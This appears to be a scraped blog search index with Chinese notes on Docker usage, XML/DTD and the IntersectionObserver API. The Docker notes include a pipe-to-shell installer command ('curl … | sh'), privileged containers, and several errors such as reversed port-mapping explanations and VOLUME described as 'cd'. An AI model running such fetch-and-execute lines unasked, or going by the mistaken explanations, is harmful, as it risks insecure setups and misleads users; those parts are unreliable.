Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg \u0026ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable\u0026rdquo;\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.io\n或者直接使用docker官方提供的sh脚本\ncurl -s https://get.docker.com | sh （不推荐使用）\n如果需要安装指定版本的docker，可指定docker-ce和docker-ce-cli的版本\n查看源仓库中可安装的docker的版本\napt-cache madison docker-ce\n启动docker服务\nservice docker start\n关闭docker服务\nservice docker stop\n重启docker服务\nservice docker restart\n检查是否安装成功（创建一个测试容器，并且执行该容器，该容器会返回信息并且退出）\nsudo docker run hello-world\n或者docker version\n查看所有镜像\ndocker image ls或者docker images\n查看所有容器\ndocker ps\ndocker ps -a # 输出所有容器（包括未运行的）\ndocker ps -q # 只输出容器id\ndocker ps -a -q # 输出所有容器id\ndocker ps -n 5 # 输出最近创建的5个容器\ndocker ps -l # 显示最近创建的容器\nREPOSITORY：镜像名称，TAG：镜像的标签（一般为该镜像的版本号），IMAGE ID：镜像id，CREATED：镜像创建时间，SIZE：镜像大小\n镜像id实质上为该镜像的sha256\n注意：如果不指定版本，将默认使用latest版本的镜像\ndocker system df # 查看Docker的磁盘使用情况\ndocker stop 容器id（或者容器名都可以） -f # 关闭指定容器，-f为强制删除\ndocker stop $(docker ps -a -q) # 关闭所有容器\n删除指定容器\ndocker image rm 容器名称 # 例如 docker image rm centos\ndocker rmi 容器id # 删除指定镜像\ndocker rmi $(docker images -a -q) # 删除所有镜像\n查看所有正在运行的容器\ndocker container ls或者docker ps\n查看所有的容器（包括已经停止运行的）\ndocker container ls \u0026ndash;all\n运行指定容器\ndocker container run 镜像名\n或者\ndocker run 镜像名\n启动容器\ndocker start 容器ID或者容器名\n重启容器\ndocker restart 容器ID或者容器名\n停止容器\ndocker stop 容器ID或者容器名\n强制停止运行容器\ndocker kill 容器ID或者容器名\n删除已经停止运行的容器\ndocker rm 容器ID\n注意：rm是删除容器，rmi是删除镜像\ndocker exec -it 容器ID bash # 在容器中打开新终端，并且启动新的进程，在这个情况下使用exit退出不会导致容器的暂停，而attach会导致容器的暂停，推荐使用exec\ndocker attach 容器ID # 直接进入容器启动命令的终端，不启动新的进程\ndocker run -it ubuntu /bin/bash # i表示以交互模式运行容器，t为给容器创建一个伪终端（搭配使用就是交互式容器）\ndocker run \u0026ndash;name=\u0026ldquo;容器的新名称\u0026rdquo; 镜像名 # 为容器指定新名称，如果不指定，容器名称默认为镜像名\ndocker run -d 镜像名 # 后台运行容器并且返回容器id（以守护进程的方式后台运行容器）\ndocker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口\ndocker run -P 镜像名 # 随机端口映射，不常用\n获取容器（从镜像源（docker hub）中下载到本地，docker提供大量已经配置好的容器，可以直接下载使用，修改）\ndocker image pull 镜像名 # 拉取某个镜像\ndocker search 镜像名 # 搜索查找某个镜像\nNAME：容器仓库名称，DESCRIPTION：容器描述，STARS：类似github的star，关注，喜欢 OFFICIAL：是否为官方，AUTOMATED：是否为自动构建\ndocker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份（拷贝）到主机中\n导出导入容器（备份容器）\ndocker export 容器id \u0026gt; 文件x.tar # 导出容器\ncar 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器\n修改容器源\n国内容器源\nhttp://hub-mirror.c.163.com # 网易云\nhttps://docker.mirrors.ustc.edu.cn # 中国科技大学\nhttps://mirror.ccs.tencentyun.com # 腾讯云\ndocker run hello-world \u0026ndash;registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用\n找到/etc/default/docker 插入\nDOCKER_OPTS=\u0026quot;\u0026ndash;registry-mirror=https://mirror.ccs.tencentyun.com\u0026quot;\n或者\n找到/etc/docker/daemon.json，插入\n{\u0026ldquo;registry-mirrors\u0026rdquo;: [\u0026ldquo;https://mirror.ccs.tencentyun.com\u0026rdquo;]} # 可以插入多个源\n然后重启服务\n如果dockerhub满足不了，可以在hub已存在的容器中进行修改（安装，卸载\u0026hellip;）\n或者使用Dockerfile，从零开始构建容器\nmkdir hallo \u0026amp;\u0026amp; cd hallo # 新建一个文件夹，并且进入这个文件夹\nnano Dockerfile # 新建个文件，并且修改它\nFROM ubuntu:18.04 RUN apt -y update \u0026amp;\u0026amp; apt install -y nginx \u0026amp;\u0026amp; apt install -y mariadb-server \u0026amp;\u0026amp; apt install -y php*\nFROM：基础镜像,操作都是基于这个基础镜像，RUM：执行指定指令（shell）\n其他参数，MAINTAINER：容器创建者，CMD：当容器启动时执行命令，只能有一条CMD命令，多条执行最后一条，容器run命令会覆盖cmd命令\nENTRYPOINT：当容器启动时执行命令，不可覆盖\nUSER：指定哪个用户来启动容器\nEXPOSE：容器内部开启端口，一般用于容器端口映射到主机端口上\nENV：环境变量\nADD：复制或者下载到容器，请确保本地或者docker仓库中有需要add的文件，例如：\nADD 文件路径（或者url） 目标容器的绝对路径\nVOLUME：切换目录用，类似cd\n打包容器\ndocker build -t 容器名 .\n这个“.”表示为当前路径\n如果正在运行docker，想退出可以使用ctrl+D，例如\n在centos中体验Ubuntu系统\n例如docker container run -it ubuntu bash\n如果想退出docker，可以在docker（run进去的容器）中输入exit\n如果想docker中的容器不停止， 快捷键 ctrl+p+q\n推送本地容器到docker仓库中\n首先需要一个docker仓库账号，例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务，\ndocker login -u 账号 -p 密码 # 登录DockerHub账号\ndocker push hallo_word:yes\ndocker pull会默认推送带有latest标签的容器到本地，所以推荐把容器标签修改为latest，或者直接指定要推送哪个容器，精确到标签\ndocker tag hallo_word:yes hallo_word:latest\n推送到第三方仓库（例如：阿里容器镜像服务）\ndocker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地\ndocker login \u0026ndash;username=xxx@qq.com registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名，密码为开通服务时设置的密码，如果是私有仓库，那么需要推送容器到本地之前执行，推送容器到本地之后再执行一次\ndocker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送到阿里容器仓库\n端口映射（实质上并不是docker容器技术实现的，是利用了iptables）\ndocker配置文件hostconfig.json\ndocker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口\ndocker为啥比虚拟机性能好\ndocker不需要硬件资源的虚拟化，docker的容器的软件是可以直接使用物理机的硬件资源的（更好的利用硬件资源），而且docker是直接调用的宿主机的内核，不需要重新加载操作系统的OS内核（减少不必要的浪费）\n虚悬镜像（dangling image）：指的是仓库名，标签都是的镜像，一般出现在删除镜像出错时\n查找虚悬镜像\ndocker image ls -f dangling=true\n删除虚悬镜像\ndocker image prune #删除所有dangling image\n镜像是一种独立，可执行，轻量级的软件包，包含某个软件需要的所有内容，这个镜像包含应用程序，应用的配置依赖，这个镜像实质上就是一个可交付的运行环境\n镜像分层系统实现依赖于UnionFS\nUnionFS（联合文件系统）：是一种分层，轻量级的高性能文件系统，支持对文件系统的修改作为一次提交来一层一层的叠加，并且将不同的目录挂载到同一个虚拟文件系统下\n镜像可通过分层来基于基础镜像来制造各种应用镜像\nDocker镜像加载原理：通过UnionFS来一层一层组成，bootfs（boot file system）加载和引导内核，当boot加载完毕，内存使用权从bootfs转交到内核，系统卸载bootfs\nrootfs（root file system）就是操作系统，包含Linux系统中标准的/bin，/etc等目录\nDocker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs，复用宿主机的内核\n镜像分层的好处：可复用，方便共享（复制迁移）资源，镜像的每一层都可以被共享，可复用\n镜像层是只读，容器层是可写的，当一个容器被启动，一个可写层被加载到镜像的顶部时，那么这一层被叫为容器层，容器层之下的都被叫为镜像层\ncommit命令提交副本来创建新镜像\ndocker commit -m=\u0026ldquo;注释\u0026rdquo; -a=\u0026ldquo;作者\u0026rdquo; 容器id 用户/镜像名:镜像版本号\n搭建私有仓库\ndocker私有仓库（Docker Registry）\nDocker Registry是docker提供的镜像，专门用来构建docker私有仓库\ndocker pull registry # 拉取Registry镜像\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry \u0026ndash; privileged=true registry\n默认情况下，仓库被创建在容器的/var/lib/registry目录下（当然也可以通过容器卷来映射）\ndocker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范\n这个私有仓库默认不支持http推送，需要修改/etc/docker/daemon.json\n\u0026ldquo;insecure-registries\u0026rdquo;: [\u0026ldquo;192.168.1.110:5000\u0026rdquo;]\n如果不生效，请重启docker服务\n推送镜像到私有仓库\ndocker push 192.168.1.110:5000/ubuntu\n查看私有仓库存储的镜像\ncurl -XGET http://192.168.1.110:5000/v2/_catalog\n获取私有仓库镜像到本地\ndocker pull 192.168.1.110:5000/ubuntu\n容器数据卷\n-v参数为启动自定义容器数据卷\n比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry \u0026ndash; privileged=true registry\n/test/registry/为宿主机路径，/tmp/registry为容器内部路径，\u0026ndash; privileged=true为开启privileged，（开启privileged后，容器内部的root才拥有真正的root权限，否则容器的root只是普通用户权限）\n容器数据卷用于数据的持久化（独立于容器的生命周期），可绕过联合文件系统来达到持续存在或者共享数据的目的，docker不会在删除容器时，删除容器挂载的数据卷，数据卷指定容器内部路径，任何在该路径存储的数据，都会被映射到宿主机指定的那个目录下\n在数据卷中的任何更改都不会认为是镜像的更新，而且数据卷中的更改是实时生效的（不需要重启容器之类的，哪怕容器没有启动），数据卷的生命周期长（可持续到没有容器使用它为止）\n数据卷被用于容器和宿主机之间的互通互联，在宿主机中更新的文件，会实时在容器中生效\ndocker inspect 镜像名或者镜像id # 获取容器/镜像的元数据\n数据卷在该镜像的元数据的Mounts属性中找到\n数据卷默认可读可写（rw），可通过ro来限制容器内部只能读，不能写\n默认情况下\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw \u0026ndash; privileged=true registry\n因为rw是默认的，可以省略不写\n限制容器只能读取数据卷，不能写（ro，read only）\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro \u0026ndash; privileged=true registry\n数据卷的继承（\u0026ndash;volumes-from）\ndocker run -it \u0026ndash; privileged=true \u0026ndash;volumes-from 容器1 \u0026ndash;name 容器2 registry\n容器2继承容器1的数据卷规则（哪怕容器1被删除了或者停止运行了，依然不会影响到容器2的数据卷）\ndocker network\ndocker network可用于容器之间的互联以及通信（端口映射），可通过服务名来直接通信（不受IP变动而影响）\ndocker会默认创建一个叫docker0的虚拟网桥（bridge网络模式）\ndocker0网桥会在内核层连通其他网络网卡和虚拟网卡，实现所有的容器和本地主机的网络连接（同一个物理网络）\ndocker会默认创建三个网络模式，分别为bridge（默认），host，none\n可通过docker network ls命令查看\n创建网络\ndocker network create hallo\n删除网络\ndocker network rm hallo\n查看网络的详细信息\ndocker network inspect bridge\nbridge网络模式：为容器分配和设置IP，并且将容器分配到docker0网桥（如果不指定-network，创建的容器默认在该模式上）（\u0026ndash;network bridge，可忽略）\nhost网络模式：容器不会虚拟网卡，而是直接使用宿主机的ip和端口和外界通信（不需要额外进行NAT转换，没有独立的Network namespace，而是和宿主机共用一个Network namespace）（\u0026ndash;network host）\nnone网络模式：该模式的容器有自己的独立网络规则（Network namespace），但是没有进行配置，需要手动配置docker容器网络（发挥网络定制功能，没有虚拟网卡，没有IP等等网络信息），在该模式下只有一个127.0.0.1的本地网络回环接口（lo）（\u0026ndash;network none）\ncontainer网络模式：该模式下的容器不会配置自己的IP，而是和指定的容器共享IP和端口范围（网络共用，文件和进程隔离）（\u0026ndash;network container:指定容器名或者容器ID）\n自定义网络模式（可通过服务名（容器名/主机名）来通信，docker network create hallo）\ndocker-compose容器编排\ndocker-Compose是Docker官方提供的Docker容器集群快速编排工具，用于管理多个docker容器组成的应用，通过docker-compose.yml配置文件来管理多个容器之间的调用关系\n官方文档https://docs.docker.com/compose/\n下载文档：https://docs.docker.com/compose/install/\n下载docker-Compose sudo curl -L \u0026ldquo;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)\u0026rdquo; -o /usr/local/bin/docker-compose\n添加写的权限 sudo chmod +x /usr/local/bin/docker-compose\n测试是否安装完成 docker-compose \u0026ndash;version\n构建并且启动容器（执行docker-compose.yml配置文件）（加参数-d为启动服务并且后台运行） docker-compose up\n构建或者重新构建服务 docker-compose build\n删除指定服务的容器 docker-compose rm 容器名\n停止并且删除容器，镜像，网络，卷 docker-compose down\n进入容器 docker-compose exec 服务id\n查看当前docker-compose编排的全部容器 docker-compose top\n查看当前docker-compose编排的容器进程 docker-compose ps\n停止docker-compose服务 docker-compose stop\n启动docker-compose服务 docker-compose start\n重启docker-compose服务 docker-compose restart\n检查配置文件（-q参数表示当配置文件出现问题时才输出信息） docker-compose config\n容器的7种状态：\ncreated（已创建） restarting（重启中） running或up（运行中） removing（迁移中） paused（暂停） exited（停止） dead（死亡）\ndocker-compose.yml配置文件\nversion: \u0026quot;3.9\u0026quot;\rservices:\rweb:\rbuild:\rcontext: . dockerfile: Dockerfile_test\rports:\r- \u0026quot;5000:5000\u0026quot;\rvolumes:\r- /app/test:/data/app\rlinks:\r- redis\rnetworks:\r- hallo_net\rredis:\rimage: redis\rcommand: redis-server /etc/redis/redis.conf\rnetworks:\rhallo_net:\rversion字段为版本号（具体支持的版本和docker-compose安装的版本有关，具体看实质版本），services字端表示服务容器，services字端下面的服务名的image字段为从指定镜像中启动容器（镜像可本地，可仓库或者镜像ID），ports字段为端口映射，networks字段为指定网络模式，volumes字段为容器数据卷\n外面那个networks字段将会创建hallo_net自定义网络模式，处理基于指定镜像外，还可以基于Dockerfile，build字段下的dockerfile字段就是指定Dockerfile文件所在的路径，context字段为构建的路径，links字段为链接到指定服务中的容器\n一般都是通过Dockerfile自动化构建镜像，然后基于这个镜像使用docker-compose管理容器\nPortainer可视化工具\nPortainer是一个Docker轻量级的可视化工具（Portainer官网，https://www.portainer.io，官网文档：https://docs.portainer.io/v/ce-2.11/start/install/server/docker/linux）\n可直接pull Portainer的镜像来安装\ndocker pull portainer/portainer\ndocker run -d -p 8000:8000 -p 9443:9443 --name portainer \\\r--restart=always \\\r-v /var/run/docker.sock:/var/run/docker.sock \\\r-v portainer_data:/data \\\rportainer/portainer-ce:2.11.1\r启动完毕后，访问1192.168.1.110:9443/，进行设置admin用户和密码\n如果是监控本地的docker，选择local\nCAdvisor+InfluxDB+Granfana(CIG重量级容器监控)\ndocker依赖多种namespace来进行隔离（例如User Namespace，容器用户和宿主用户隔离，process id Namespace，隔离进程id，network Namespace，隔离网络设备，端口号，mount Namespace，隔离挂载等等），依赖于cgroup进行资源管理和控制（例如cpu，内存），namespace和cgroup都由自Linux内核提供\ndocker使用了6种namespace，分别是，mount namespace，uts namespace，ipc namespace，network namespace，pid namespace，user namespace\nmount Namespace：隔离不同进程的挂载数据，保证容器的挂载操作不会影响到宿主的挂载\nsudo unshare \u0026ndash;mount \u0026ndash;fork /bin/bash # 创建一个mount Namespace，使用/bin/bash进程，在该挂载任何文件，都不会作用于宿主\npid namespace是隔离进程的pid的，也就是说宿主是看不到容器的应用pid，容器也看不到宿主的pid\nsudo unshare \u0026ndash;pid \u0026ndash;fork \u0026ndash;mount-proc /bin/bash\n安全容器：容器运行在虚拟机中，具备虚拟机的安全隔离性，例如kata Container，使用guest kernel（精简了内核，专门提供给容器运行，减低资源的消耗）\n因为docker容器共享宿主内核，存在安全性，所以可使用安全容器来隔离宿主内核，安全容器的内核是完全独立于宿主的内核（虚拟化技术）\ndocker容器资源限制\ndocker run -it \u0026ndash;cpus=4 -m=8192 \u0026ndash;pids-limit=1000 ubuntu /bin/bash # 启动ubuntu镜像，使用/bin/bash作为终端，资源被设置为4核8g，并且只能创建1000个pid\ndocker stats ubuntu # 查看容器的资源使用情况\ncAdvisor是谷歌开源的容器监控工具，不但可以监控容器的资源使用情况，还可以监控宿主的资源使用情况，可查看容器的历史资源使用情况\ndocker run \\\r--volume=/:/rootfs:ro \\\r--volume=/var/run:/var/run:ro \\\r--volume=/sys:/sys:ro \\\r--volume=/var/lib/docker/:/var/lib/docker:ro \\\r--volume=/dev/disk/:/dev/disk:ro \\\r--publish=8080:8080 \\\r--detach=true \\\r--name=cadvisor \\\r--privileged \\\r--device=/dev/kmsg \\\rgcr.io/cadvisor/cadvisor:$VERSION\r访问http://localhost:8080\n容器的资源限制通过/sys/fs/cgroup/memory/docker下的，目录名为容器id，其中memory.limit_in_bytes是该容器的内存限制文件，memory.usage_in_bytes是该容器的内存使用情况，proc/容器的pid/net/dev是该容器的网络使用情况，cpuset.cpus是cpu限制使用核数，cpu.cfs_period_us是一个cpu核心的带宽（单位微秒，容器的cpu总带宽=cpu核心数*单个cpu核心的带宽），cpu.cfs_quota_us是可使用cpu带宽（单位微秒，-1为不限制）\n容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的，所以启动容器监控工具，要映射数据卷/sys:到容器中\nkubernetes简称k8s，用来自动化容器的部署，监控，容器负载均衡等等\nmaster是容器集群的控制系统，可以用来监控容器的状态，调度负载均衡\nnode是k8s的工作节点，可以接收master的指令，根据指令来创建和销毁Pod等等\nPod是容器的容器，可以包含多个容器，是k8s中最小的可部署单元，pod内部的网络是互通的，每一个pod都有自己的虚拟ip\nk8s将弃用dockershim（dockershim是k8s内置的一个组件，该组件可让k8s能够通过CRI（Container Runtime Interface）来操作docker）\n安装docker\n配置docker\n添加docker官方GPGkey\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\nsudo apt-key fingerprint 0EBFCD88\n安装依赖\nsudo apt install apt-transport-https ca-certificates curl software-properties-common\n设置docker仓库\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\u0026rdquo;\n重新加载源\nsudo apt update\n如果报错，可以手动在/etc/apt/source.list添加\ndeb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable\nsudo apt dist-upgrade（智能处理包依赖，会自己安装新软件或者删除原有软件包来完成升级）\n安装docker\nsudo apt install docker-ce docker-ce-cli containerd.io\n","permalink":"https://xiaochenabc123.github.io/posts/18/","summary":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg \u0026ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable\u0026rdquo;\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.","title":"Docker容器的简单使用"},{"content":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\u0026quot;\u0026ldquo;或者\u0026rsquo;\u0026lsquo;包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u0026lt;），那么需要使用其转义字符序列来表示，例如 \u0026ldquo;\u0026lt;\u0026ldquo;来表示\u0026rdquo;\u0026lt;\u0026rdquo;\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值\n","permalink":"https://xiaochenabc123.github.io/posts/17/","summary":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\u0026quot;\u0026ldquo;或者\u0026rsquo;\u0026lsquo;包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u0026lt;），那么需要使用其转义字符序列来表示，例如 \u0026ldquo;\u0026lt;\u0026ldquo;来表示\u0026rdquo;\u0026lt;\u0026rdquo;\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值","title":"XML学习笔记"},{"content":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u0026gt;{\r// 实例化\rtarget.forEach((item) 